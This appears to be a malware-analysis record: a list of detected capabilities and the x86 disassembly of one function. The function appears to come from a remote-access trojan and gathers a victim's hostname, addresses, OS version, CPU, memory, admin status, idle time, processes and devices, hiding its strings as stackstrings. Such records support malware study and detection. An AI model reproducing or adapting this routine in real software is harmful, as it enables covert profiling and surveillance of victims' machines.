Function at 0x10006f80
Capabilities:
Contain obfuscated stackstrings
Enumerate devices by category
Enumerate processes
Get graphical window text
Get hostname
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows
Get token membership
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x14e8
call fcn.1001b770
mov eax, dword [0x10026008]
xor eax, esp
mov dword [esp + 0x14e4], eax
push esi
push edi
push 0x59b
push 0
push 0x10028029
mov dword [esp + 0x30], edx
mov dword [esp + 0x1c], ecx
call fcn.1000a170
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x2ec]
add esp, 0xc
mov byte [0x10028028], 0xc8
push str.MUTEX_OBSFL
push eax
call edi
push 0x100
lea eax, [esp + 0x1e4]
mov dword [esp + 0x2c], 0x6e6e6f43
push 0
push eax
mov dword [esp + 0x38], 0x47746365
mov dword [esp + 0x3c], 0x70756f72
mov byte [esp + 0x40], 0
call fcn.1000a170
add esp, 0xc
lea eax, [esp + 0x4e8]
push 0x400
push 0
push eax
call fcn.1000a170
add esp, 0xc
mov dword [esp + 0xd0], 0x6e69614d
lea eax, [esp + 0x2e0]
mov dword [esp + 0xd4], 0x5c6c6c44
mov word [esp + 0xd8], 0x7325
mov byte [esp + 0xda], 0
push eax
lea eax, [esp + 0xd4]
push eax
lea eax, [esp + 0x4f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [esp + 0x1e4]
lea edx, [esp + 0x4ec]
push 0x100
push ecx
push eax
lea eax, [esp + 0x38]
mov ecx, connect
push 1
push eax
call fcn.10006af0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x1f8]
add esp, 0x18
push eax
call esi
test eax, eax
jne 0x100070b8
push 0x1002357c
lea eax, [esp + 0x1e4]
push eax
call edi
lea eax, [esp + 0x1e0]
push eax
call esi
test eax, eax
lea edx, [esp + 0x1e0]
mov ecx, 0x1002357c
cmovne ecx, edx
push ecx
push 0x10028029
call edi
lea eax, [esp + 0x40]
mov dword [esp + 0x40], 0x10
push eax
lea eax, [esp + 0x54]
xorps xmm0, xmm0
push eax
mov eax, dword [esp + 0x18]
movaps xmmword [esp + 0x58], xmm0
push dword [eax + 0x48]
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x54]
push 0x100
mov dword [0x1002804c], eax
lea eax, [esp + 0xe4]
push 0
push eax
mov dword [esp + 0xdc], 0x74736f48
mov byte [esp + 0xe0], 0
call fcn.1000a170
add esp, 0xc
lea eax, [esp + 0x4e8]
push 0x400
push 0
push eax
call fcn.1000a170
add esp, 0xc
mov dword [esp + 0x28], 0x6e69614d
lea eax, [esp + 0x2e0]
mov dword [esp + 0x2c], 0x5c6c6c44
mov word [esp + 0x30], 0x7325
mov byte [esp + 0x32], 0
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x4f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [esp + 0xe4]
lea edx, [esp + 0x4ec]
push 0x100
push ecx
push eax
lea eax, [esp + 0xe0]
mov ecx, connect
push 1
push eax
call fcn.10006af0
add esp, 0x18
lea eax, [esp + 0xe0]
push eax
call esi
test eax, eax
jne 0x100071d3
push 0x100
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0xe0]
push eax
call esi
movups xmm0, xmmword [esp + 0xe0]
mov ax, word [esp + 0x110]
push 0x10028084
movups xmmword [0x10028050], xmm0
mov word [0x10028080], ax
movups xmm0, xmmword [esp + 0xf4]
mov dword [0x10028084], 0x9c
movups xmmword [0x10028060], xmm0
movups xmm0, xmmword [esp + 0x104]
movups xmmword [0x10028070], xmm0
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10007270
push str.RtlGetNtVersionNumbers
push esi
call edi
test eax, eax
je 0x10007269
push 0x10028090
push 0x1002808c
push 0x10028088
call eax
xor eax, eax
mov word [0x10028092], ax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.IsWow64Process
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call edi
mov esi, eax
xor eax, eax
mov dword [esp + 0x1c], eax
test esi, esi
je 0x100072a5
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
neg eax
sbb eax, eax
and eax, dword [esp + 0x1c]
push ecx
push 4
push ecx
test eax, eax
mov word [esp + 0xe4], 0
lea eax, [esp + 0xdc]
xorps xmm0, xmm0
push eax
push 4
push str.MHz
mov edx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
movq qword [esp + 0xe8], xmm0
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
setne byte [0x10028148]
call fcn.10006af0
add esp, 0x18
lea eax, [esp + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [esp + 0xd0]
push eax
push dword [esp + 0xc4]
push str._d_sMHz
push 0x1002812c
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x800
call fcn.100083b9
add esp, 0x14
mov edi, eax
mov dword [esp + 0x1c], edi
push 0x104
push 0
push edi
call fcn.1000a170
add esp, 0xc
lea eax, [esp + 0xce8]
push 0x800
push 0
push eax
call fcn.1000a170
add esp, 0xc
lea eax, [esp + 0x4e8]
push 0x800
push 0
push eax
call fcn.1000a170
add esp, 0xc
push 0
push str.CTXOPConntion_Class
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
mov dword [esp + 0x20], esi
test esi, esi
je 0x100074c5
push 0x104
lea eax, [esp + 0x3e4]
push 0
push eax
call fcn.1000a170
add esp, 0xc
lea eax, [esp + 0x3e0]
push 0x104
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
mov ecx, str.CTXOPConntion_Class
lea eax, [esp + 0x3e0]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100073e0
test dl, dl
je 0x100073dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100073e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100073c0
xor eax, eax
jmp 0x100073e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100074ae
test esi, esi
je 0x10007405
push 0x104
lea eax, [esp + 0xcec]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xce8]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10007410
sub eax, edx
nop dword [eax]
dec eax
cmp byte [esp + eax + 0xce8], 0x5f
jne 0x10007420
lea ecx, [esp + 0xce9]
add ecx, eax
lea edx, [esp + 0x4e8]
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10007440
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10007477
dec edi
nop dword [eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10007460
mov ax, word [0x10022d10]
mov word [edi], ax
mov edi, dword [esp + 0x1c]
lea edx, [esp + 0x4e8]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10007480
sub edx, esi
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10007490
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
push 2
push esi
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
mov dword [esp + 0x20], eax
test esi, esi
jne 0x10007382
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x100074e1
mov ax, word [0x10022d14]
mov word [edi], ax
mov al, byte [0x10022d16]
mov byte [edi + 2], al
push edi
push 0x10028198
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x48]
mov dword [0x100281bc], 0
push eax
mov dword [esp + 0x4c], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x4c]
mov edx, 1
mov ecx, dword [0x100281bc]
cmp eax, 0x2bf20
lea eax, [esp + 0x1c]
mov dword [esp + 0xd0], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0xf8]
mov word [esp + 0xfc], 0x500
cmova ecx, edx
push eax
mov dword [0x100281bc], ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [esp + 0x20], eax
test eax, eax
je 0x10007599
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 0x1c]
neg eax
sbb eax, eax
and dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 0x20]
mov dword [0x100281b8], eax
lea eax, [esp + 0x68]
push eax
mov dword [esp + 0x6c], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x70]
mov eax, dword [esp + 0x74]
shrd ecx, eax, 0x14
push str.Ole32.dll
shr eax, 0x14
mov dword [esp + 0xd8], eax
mov eax, dword [esp + 0x28]
mov dword [0x1002814c], ecx
mov dword [0x10028140], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x10022c14
push edi
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10022c24
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10022c34
push edi
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Oleaut32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SysFreeString
push eax
mov dword [esp + 0xd8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov dword [esp + 0x28], eax
call esi
lea eax, [esp + 0x3c]
xor esi, esi
push eax
push 0x1001c470
push 1
push esi
push 0x1001c480
call edi
test eax, eax
jne 0x10007738
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x20]
push 0
push edx
push 0x1001c490
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10007678
xor esi, esi
jmp 0x10007738
mov eax, dword [esp + 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x44]
push edx
lea edx, [esp + 0x20]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10007715
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push edx
push 0x1001c350
push 0
mov ecx, dword [eax]
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x100076f1
mov eax, 8
lea edx, [esp + 0x28]
mov word [esp + 0x28], ax
mov eax, dword [esp + 0x24]
push 0
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x100076e7
push dword [esp + 0x30]
inc esi
call edi
mov eax, dword [esp + 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x44]
push edx
lea edx, [esp + 0x20]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x100076a0
call dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x1000772a
push eax
call edi
mov eax, dword [esp + 0xd0]
test eax, eax
je 0x10007738
push eax
call edi
push str.1.0.1
push 0x10028150
mov dword [0x10028144], esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x400
push 0
push 0x100285e0
mov dword [esp + 0x30], 0
call fcn.1000a170
add esp, 0x14
push 0x10022038
push dword [0x10026a40]
call fcn.10009bd0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 8
test eax, eax
jne 0x10007845
mov esi, 0x10026a40
mov dword [esp + 0x20], 0
mov eax, dword [esi]
push 0
push 2
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x128
mov edi, eax
call fcn.100083ea
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10007812
push dword [esp + 0x24]
lea eax, [esi + 0x24]
push eax
call fcn.10010003
add esp, 8
test eax, eax
je 0x100078aa
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x10007812
nop
push dword [esp + 0x24]
lea eax, [esi + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100078aa
push esi
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100077f0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
shl eax, 3
lea esi, [eax + 0x10026a40]
mov dword [esp + 0x20], eax
push 0x10022038
push dword [esi]
call fcn.10009bd0
add esp, 8
test eax, eax
je 0x10007798
push 0x10022038
push 0x100285e0
call fcn.10009bd0
add esp, 8
test eax, eax
jne 0x10007867
push 0x10022d14
push 0x100285e0
call edi
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x100285e0]
lea edx, [edx + 1]
mov byte [edx + 0x1002816f], al
test al, al
jne 0x10007870
mov ecx, dword [esp + 0x10]
push 0x59c
push 0x10028028
call fcn.100018f0
mov ecx, dword [esp + 0x14ec]
pop edi
pop esi
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret
mov eax, 8
cmp dword [eax + esi], 0
je 0x10007812
mov eax, dword [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [eax + 0x10026a44]
push 0x100285e0
call edi
push 0x10022038
push 0x100285e0
call edi
jmp 0x10007818